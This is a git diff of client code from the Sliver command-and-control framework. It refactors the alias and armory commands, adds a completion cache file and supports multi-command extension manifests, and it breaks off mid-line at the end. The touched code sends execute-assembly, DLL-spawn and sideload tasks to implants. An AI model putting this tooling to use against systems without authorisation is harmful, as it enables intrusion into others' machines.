b/client/command/alias/load.go index 4b6237267b..672d9c8b5f 100644 --- a/client/command/alias/load.go +++ b/client/command/alias/load.go @@ -53,7 +53,7 @@ const ( ) var ( - // alias name -> manifest/command + // alias name -> manifest/command. loadedAliases = map[string]*loadedAlias{} defaultHostProc = map[string]string{ @@ -63,20 +63,20 @@ var ( } ) -// Ties the manifest struct to the command struct +// Ties the manifest struct to the command struct. type loadedAlias struct { Manifest *AliasManifest Command *cobra.Command } -// AliasFile - An OS/Arch specific file +// AliasFile - An OS/Arch specific file. type AliasFile struct { OS string `json:"os"` Arch string `json:"arch"` Path string `json:"path"` } -// AliasManifest - The manifest for an alias, contains metadata +// AliasManifest - The manifest for an alias, contains metadata. type AliasManifest struct { Name string `json:"name"` Version string `json:"version"` @@ -124,7 +124,7 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target } // AliasesLoadCmd - Locally load a alias into the Sliver shell. -func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { dirPath := args[0] // dirPath := ctx.Args.String("dir-path") alias, err := LoadAlias(dirPath, cmd.Root(), con) @@ -135,8 +135,8 @@ func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } } -// LoadAlias - Load an alias into the Sliver shell from a given directory -func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) { +// LoadAlias - Load an alias into the Sliver shell from a given directory. +func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) { // retrieve alias manifest var err error manifestPath, err = filepath.Abs(manifestPath) @@ -205,7 +205,7 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConso return aliasManifest, nil } -// ParseAliasManifest - Parse an alias manifest +// ParseAliasManifest - Parse an alias manifest. func ParseAliasManifest(data []byte) (*AliasManifest, error) { // parse it alias := &AliasManifest{} @@ -241,7 +241,7 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) { return alias, nil } -func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -380,7 +380,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async { - con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(executeAssemblyResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, executeAssemblyResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -388,7 +388,6 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con) }) - con.PrintAsyncResponse(executeAssemblyResp.Response) } else { PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con) } @@ -419,7 +418,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } if spawnDllResp.Response != nil && spawnDllResp.Response.Async { - con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(spawnDllResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, spawnDllResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -427,7 +426,6 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con) }) - con.PrintAsyncResponse(spawnDllResp.Response) } else { PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con) } @@ -459,7 +457,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } if sideloadResp.Response != nil && sideloadResp.Response.Async { - con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sideloadResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sideloadResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -467,33 +465,32 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con) }) - con.PrintAsyncResponse(sideloadResp.Response) } else { PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con) } } } -// PrintSpawnDLLOutput - Prints the output of a spawn dll command -func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) { +// PrintSpawnDLLOutput - Prints the output of a spawn dll command. +func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult()) if outFilePath != nil { - outFilePath.Write([]byte(spawnDllResp.GetResult())) + outFilePath.WriteString(spawnDllResp.GetResult()) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } -// PrintSideloadOutput - Prints the output of a sideload command -func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) { +// PrintSideloadOutput - Prints the output of a sideload command. +func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult()) if outFilePath != nil { - outFilePath.Write([]byte(sideloadResp.GetResult())) + outFilePath.WriteString(sideloadResp.GetResult()) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } -// PrintAssemblyOutput - Prints the output of an execute-assembly command -func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) { +// PrintAssemblyOutput - Prints the output of an execute-assembly command. +func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput())) if outFilePath != nil { outFilePath.Write(execAsmResp.GetOutput()) diff --git a/client/command/alias/remove.go b/client/command/alias/remove.go index 3a7fb7ab43..d84d1b168f 100644 --- a/client/command/alias/remove.go +++ b/client/command/alias/remove.go @@ -32,7 +32,7 @@ import ( ) // AliasesRemoveCmd - Locally load a alias into the Sliver shell. -func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") if name == "" { @@ -54,8 +54,8 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -// RemoveAliasByCommandName - Remove an alias by command name -func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error { +// RemoveAliasByCommandName - Remove an alias by command name. +func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error { if commandName == "" { return errors.New("command name is required") } diff --git a/client/command/armory/armory.go b/client/command/armory/armory.go index e575475bb3..79e495d0e7 100644 --- a/client/command/armory/armory.go +++ b/client/command/armory/armory.go @@ -27,7 +27,6 @@ import ( "time" "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" "github.com/spf13/cobra" "golang.org/x/term" @@ -39,7 +38,11 @@ import ( "github.com/bishopfox/sliver/util/minisign" ) -// ArmoryIndex - Index JSON containing alias/extension/bundle information +const ( + armoryCacheFileName = "armory-cache.json" +) + +// ArmoryIndex - Index JSON containing alias/extension/bundle information. type ArmoryIndex struct { ArmoryConfig *assets.ArmoryConfig `json:"-"` Aliases []*ArmoryPackage `json:"aliases"` @@ -47,7 +50,7 @@ type ArmoryIndex struct { Bundles []*ArmoryBundle `json:"bundles"` } -// ArmoryPackage - JSON metadata for alias or extension +// ArmoryPackage - JSON metadata for alias or extension. type ArmoryPackage struct { Name string `json:"name"` CommandName string `json:"command_name"` @@ -57,13 +60,13 @@ type ArmoryPackage struct { IsAlias bool `json:"-"` } -// ArmoryBundle - A list of packages +// ArmoryBundle - A list of packages. type ArmoryBundle struct { Name string `json:"name"` Packages []string `json:"packages"` } -// ArmoryHTTPConfig - Configuration for armory HTTP client +// ArmoryHTTPConfig - Configuration for armory HTTP client. type ArmoryHTTPConfig struct { ArmoryConfig *assets.ArmoryConfig IgnoreCache bool @@ -92,20 +95,20 @@ type pkgCacheEntry struct { } var ( - // public key -> armoryCacheEntry + // public key -> armoryCacheEntry. indexCache = sync.Map{} - // public key -> armoryPkgCacheEntry + // public key -> armoryPkgCacheEntry. pkgCache = sync.Map{} - // cacheTime - How long to cache the index/pkg manifests + // cacheTime - How long to cache the index/pkg manifests. cacheTime = time.Hour - // This will kill a download if exceeded so needs to be large + // This will kill a download if exceeded so needs to be large. defaultTimeout = 15 * time.Minute ) -// ArmoryCmd - The main armory command -func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ArmoryCmd - The main armory command. +func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { armoriesConfig := assets.GetArmoriesConfig() con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig)) clientConfig := parseArmoryHTTPConfig(cmd) @@ -141,7 +144,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri if cacheEntry.Pkg.IsAlias { aliases = append(aliases, cacheEntry.Alias) } else { - exts = append(exts, cacheEntry.Extension) + exts = append(exts, cacheEntry.Extension) // todo: check this isn't a bug } } return true @@ -172,6 +175,12 @@ func refresh(clientConfig ArmoryHTTPConfig) { armoriesConfig := assets.GetArmoriesConfig() indexes := fetchIndexes(armoriesConfig, clientConfig) fetchPackageSignatures(indexes, clientConfig) + + // Save the list of bundles/exts/aliases on disk. + // This is only for completion purposes, so this + // does not include ANY cryptographic or remote + // information on the packages. + saveArmoryCompletionCache() } func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) { @@ -183,7 +192,7 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) if cacheEntry.Pkg.IsAlias { aliases = append(aliases, cacheEntry.Alias) } else { - exts = append(exts, cacheEntry.Extension) + exts = append(exts, cacheEntry.Extension) // todo: check this isn't a bug } } return true @@ -201,46 +210,8 @@ func bundlesInCache() []*ArmoryBundle { return bundles } -// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names -func AliasExtensionOrBundleCompleter() carapace.Action { - comps := func(ctx carapace.Context) carapace.Action { - var action carapace.Action - - results := []string{} - aliases, exts := packagesInCache() - bundles := bundlesInCache() - - for _, aliasPkg := range aliases { - results = append(results, aliasPkg.CommandName) - results = append(results, aliasPkg.Help) - } - aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx) - results = make([]string, 0) - - for _, extensionPkg := range exts { - results = append(results, extensionPkg.CommandName) - results = append(results, extensionPkg.Help) - } - extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx) - results = make([]string, 0) - - for _, bundle := range bundles { - results = append(results, bundle.Name) - } - bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx) - - return action.Invoke(ctx).Merge( - aliasesComps, - extentionComps, - bundleComps, - ).ToA() - } - - return carapace.ActionCallback(comps) -} - // PrintArmoryPackages - Prints the armory packages -func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) { +func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { width = 1 @@ -249,6 +220,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Packages" + console.Normal) + settings.SetMaxTableSize(tw) urlMargin := 150 // Extra margin needed to show URL column @@ -291,14 +263,16 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte URL: aliasPkg.RepoURL, }) } - for _, extension := range exts { - entries = append(entries, pkgInfo{ - CommandName: extension.CommandName, - Version: extension.Version, - Type: "Extension", - Help: extension.Help, - URL: extension.RepoURL, - }) + for _, extm := range exts { + for _, extension := range extm.ExtCommand { + entries = append(entries, pkgInfo{ + CommandName: extension.CommandName, + Version: extension.Manifest.Version, + Type: "Extension", + Help: extension.Help, + URL: extension.Manifest.RepoURL, + }) + } } sliverMenu := con.App.Menu("implant") @@ -330,11 +304,12 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte con.Printf("%s\n", tw.Render()) } -// PrintArmoryBundles - Prints the armory bundles -func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) { +// PrintArmoryBundles - Prints the armory bundles. +func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Bundles" + console.Normal) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Contains", @@ -397,7 +372,7 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig { } // fetch armory indexes, only returns indexes that were fetched successfully -// errors are still in the cache objects however and can be checked +// errors are still in the cache objects however and can be checked. func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex { wg := &sync.WaitGroup{} for _, armoryConfig := range armoryConfigs { diff --git a/client/command/armory/commands.go b/client/command/armory/commands.go new file mode 100644 index 0000000000..e14efb8fd8 --- /dev/null +++ b/client/command/armory/commands.go @@ -0,0 +1,73 @@ +package armory + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `armory` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + armoryCmd := &cobra.Command{ + Use: consts.ArmoryStr, + Short: "Automatically download and install extensions/aliases", + Long: help.GetHelpFor([]string{consts.ArmoryStr}), + Run: func(cmd *cobra.Command, args []string) { + ArmoryCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("connection", true, armoryCmd, func(f *pflag.FlagSet) { + f.BoolP("insecure", "I", false, "skip tls certificate validation") + f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") + f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh") + f.StringP("timeout", "t", "15m", "download timeout") + }) + completers.NewFlagCompsFor(armoryCmd, func(comp *carapace.ActionMap) { + (*comp)["proxy"] = completers.LocalProxyCompleter() + }) + + armoryInstallCmd := &cobra.Command{ + Use: consts.InstallStr, + Short: "Install an alias or extension", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ArmoryInstallCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armoryInstallCmd) + completers.NewCompsFor(armoryInstallCmd).PositionalCompletion( + AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"), + ) + + armoryUpdateCmd := &cobra.Command{ + Use: consts.UpdateStr, + Short: "Update installed an aliases and extensions", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}), + Run: func(cmd *cobra.Command, args []string) { + ArmoryUpdateCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armoryUpdateCmd) + + armorySearchCmd := &cobra.Command{ + Use: consts.SearchStr, + Short: "Search for aliases and extensions by name (regex)", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ArmorySearchCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armorySearchCmd) + completers.NewCompsFor(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) + + return []*cobra.Command{armoryCmd} +} diff --git a/client/command/armory/completion.go b/client/command/armory/completion.go new file mode 100644 index 0000000000..f0cc370a82 --- /dev/null +++ b/client/command/armory/completion.go @@ -0,0 +1,142 @@ +package armory + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "time" + + "github.com/rsteube/carapace" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/alias" + "github.com/bishopfox/sliver/client/command/extensions" +) + +// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names. +func AliasExtensionOrBundleCompleter() carapace.Action { + comps := func(ctx carapace.Context) carapace.Action { + var action carapace.Action + + results := []string{} + + // In-memory packages are newer. + aliases, exts := packagesInCache() + bundles := bundlesInCache() + + // Or load the cache from file if in-memory cache is empty. + // Inform user if the cache file is old (1 week or more). + if len(aliases)+len(exts)+len(bundles) == 0 { + filePath := filepath.Join(assets.GetRootAppDir(), armoryCacheFileName) + + info, err := os.Stat(filePath) + if err == nil { + mustUpdateCache := time.Since(info.ModTime()) > (24 * 7 * time.Hour) + if mustUpdateCache { + modTime := time.Since(info.ModTime()).Truncate(time.Hour) + action = carapace.ActionMessage("armory cache is %d old, `sliver armory update` recommended", modTime) + } + + aliases, exts, bundles, err = loadArmoryCompletionCache(filePath) + if err != nil { + return carapace.ActionMessage("failed to read armory file cache: %s", err) + } + } + } + + // Aliases + for _, aliasPkg := range aliases { + results = append(results, aliasPkg.CommandName) + results = append(results, aliasPkg.Help) + } + aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx) + results = make([]string, 0) + + // Extensions + for _, extensionPkg := range exts { + for _, cmd := range extensionPkg.ExtCommand { + results = append(results, cmd.CommandName) + results = append(results, cmd.Help) + } + } + extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx) + results = make([]string, 0) + + // Bundles + for _, bundle := range bundles { + results = append(results, bundle.Name) + } + bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx) + + return action.Invoke(ctx).Merge( + aliasesComps, + extentionComps, + bundleComps, + ).ToA() + } + + return carapace.ActionCallback(comps) +} + +func saveArmoryCompletionCache() error { + aliases, exts := packagesInCache() + bundles := bundlesInCache() + + ArmoryCache := struct { + Aliases []*alias.AliasManifest + Extensions []*extensions.ExtensionManifest + Bundles []*ArmoryBundle + }{ + Aliases: aliases, + Extensions: exts, + Bundles: bundles, + } + + data, err := json.MarshalIndent(ArmoryCache, "", " ") + if err != nil { + return err + } + + filePath := filepath.Join(assets.GetRootAppDir(), armoryCacheFileName) + + return os.WriteFile(filePath, data, 0o600) +} + +func loadArmoryCompletionCache(filePath string) ([]*alias.AliasManifest, []*extensions.ExtensionManifest, []*ArmoryBundle, error) { + data, err := os.ReadFile(filePath) + if err != nil && os.IsNotExist(err) { + return nil, nil, nil, errors.New("no armory file cache") + } + + ArmoryCache := struct { + Aliases []*alias.AliasManifest + Extensions []*extensions.ExtensionManifest + Bundles []*ArmoryBundle + }{} + + err = json.Unmarshal(data, &ArmoryCache) + if err != nil { + return nil, nil, nil, err + } + + return ArmoryCache.Aliases, ArmoryCache.Extensions, ArmoryCache.Bundles, nil +} diff --git a/client/command/armory/install.go b/client/command/armory/install.go index 8674a4aba2..c2a8957aaa 100644 --- a/client/command/armory/install.go +++ b/client/command/armory/install.go @@ -35,11 +35,11 @@ import ( "github.com/bishopfox/sliver/util/minisign" ) -// ErrPackageNotFound - The package was not found +// ErrPackageNotFound - The package was not found. var ErrPackageNotFound = errors.New("package not found") -// ArmoryInstallCmd - The armory install command -func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ArmoryInstallCmd - The armory install command. +func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") if name == "" { @@ -77,7 +77,7 @@ func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args con.PrintErrorf("No package or bundle named '%s' was found", name) } -func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { for _, pkgName := range bundle.Packages { err := installPackageByName(pkgName, clientConfig, con) if err != nil { @@ -86,7 +86,7 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con } } -func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { aliases, extensions := packagesInCache() for _, alias := range aliases { if alias.CommandName == name || name == "all" { @@ -96,11 +96,13 @@ func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *conso } } } - for _, ext := range extensions { - if ext.CommandName == name || name == "all" { - installExtension(ext, clientConfig, con) - if name != "all" { - return nil + for _, extm := range extensions { + for _, ext := range extm.ExtCommand { + if ext.CommandName == name || name == "all" { + installExtension(ext.Manifest, clientConfig, con) + if name != "all" { + return nil + } } } } @@ -112,7 +114,7 @@ func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *conso return ErrPackageNotFound } -func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { err := installAliasPackageByName(alias.CommandName, clientConfig, con) if err != nil { con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err) @@ -120,7 +122,7 @@ func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con } } -func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) @@ -186,30 +188,32 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con * return nil } -func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { deps := make(map[string]struct{}) - resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con) - sliverMenu := con.App.Menu(constants.ImplantMenu) - for dep := range deps { - if extensions.CmdExists(dep, sliverMenu.Command) { - continue // Dependency is already installed + for _, ext := range extm.ExtCommand { + resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con) + sliverMenu := con.App.Menu(constants.ImplantMenu).Root() + for dep := range deps { + if extensions.CmdExists(dep, sliverMenu) { + continue // Dependency is already installed + } + err := installExtensionPackageByName(dep, clientConfig, con) + if err != nil { + con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err) + return + } } - err := installExtensionPackageByName(dep, clientConfig, con) + err := installExtensionPackageByName(ext.CommandName, clientConfig, con) if err != nil { - con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err) + con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err) return } } - err := installExtensionPackageByName(ext.CommandName, clientConfig, con) - if err != nil { - con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err) - return - } } const maxDepDepth = 10 // Arbitrary recursive limit for dependencies -func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) @@ -222,27 +226,28 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, if entry == nil { return } + for _, multiExt := range entry.Extension.ExtCommand { + if multiExt.DependsOn == "" { + continue // Avoid adding empty dependency + } - if entry.Extension.DependsOn == "" { - return // Avoid adding empty dependency - } - - if entry.Extension.DependsOn == name { - return // Avoid infinite loop of something that depends on itself - } - // We also need to look out for circular dependencies, so if we've already - // seen this dependency, we stop resolving - if _, ok := deps[entry.Extension.DependsOn]; ok { - return // Already resolved - } - if maxDepDepth < len(deps) { - return + if multiExt.DependsOn == name { + continue // Avoid infinite loop of something that depends on itself + } + // We also need to look out for circular dependencies, so if we've already + // seen this dependency, we stop resolving + if _, ok := deps[multiExt.DependsOn]; ok { + continue // Already resolved + } + if maxDepDepth < len(deps) { + continue + } + deps[multiExt.DependsOn] = struct{}{} + resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con) } - deps[entry.Extension.DependsOn] = struct{}{} - resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con) } -func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) @@ -297,20 +302,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c con.Printf(console.Clearln + "\r") // Clear download message - installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con) - if installPath == nil { - return errors.New("failed to install extension") - } - extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName)) - if err != nil { - return err - } + extensions.InstallFromDir(tmpFile.Name(), con, true) - sliverMenu := con.App.Menu(constants.ImplantMenu) - // - // if extensions.CmdExists(extCmd.Name, sliverMenu.Command) { - // con.App.Commands().Remove(extCmd.Name) - // } - extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con) return nil } diff --git a/client/command/armory/parsers.go b/client/command/armory/parsers.go index 4e26e7cc64..deb3bba85b 100644 --- a/client/command/armory/parsers.go +++ b/client/command/armory/parsers.go @@ -36,10 +36,10 @@ import ( "github.com/bishopfox/sliver/util/minisign" ) -// ArmoryIndexParser - Generic interface to fetch armory indexes +// ArmoryIndexParser - Generic interface to fetch armory indexes. type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error) -// ArmoryPackageParser - Generic interface to fetch armory package manifests +// ArmoryPackageParser - Generic interface to fetch armory package manifests. type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error) var ( @@ -71,7 +71,7 @@ type armoryPkgResponse struct { // Default Parsers for Self-Hosted Armories // -// DefaultArmoryParser - Parse the armory index directly from the url +// DefaultArmoryParser - Parse the armory index directly from the url. func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey)) @@ -114,7 +114,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar return armoryIndex, nil } -// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url +// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url. func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey)) @@ -183,7 +183,7 @@ type GithubRelease struct { Assets []GithubAsset `json:"assets"` } -// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release +// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release. func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey)) @@ -245,7 +245,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig return armoryIndex, nil } -// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release +// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release. func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey)) @@ -298,7 +298,7 @@ func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg * // GitHub Parsers // -// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages +// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages. func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig 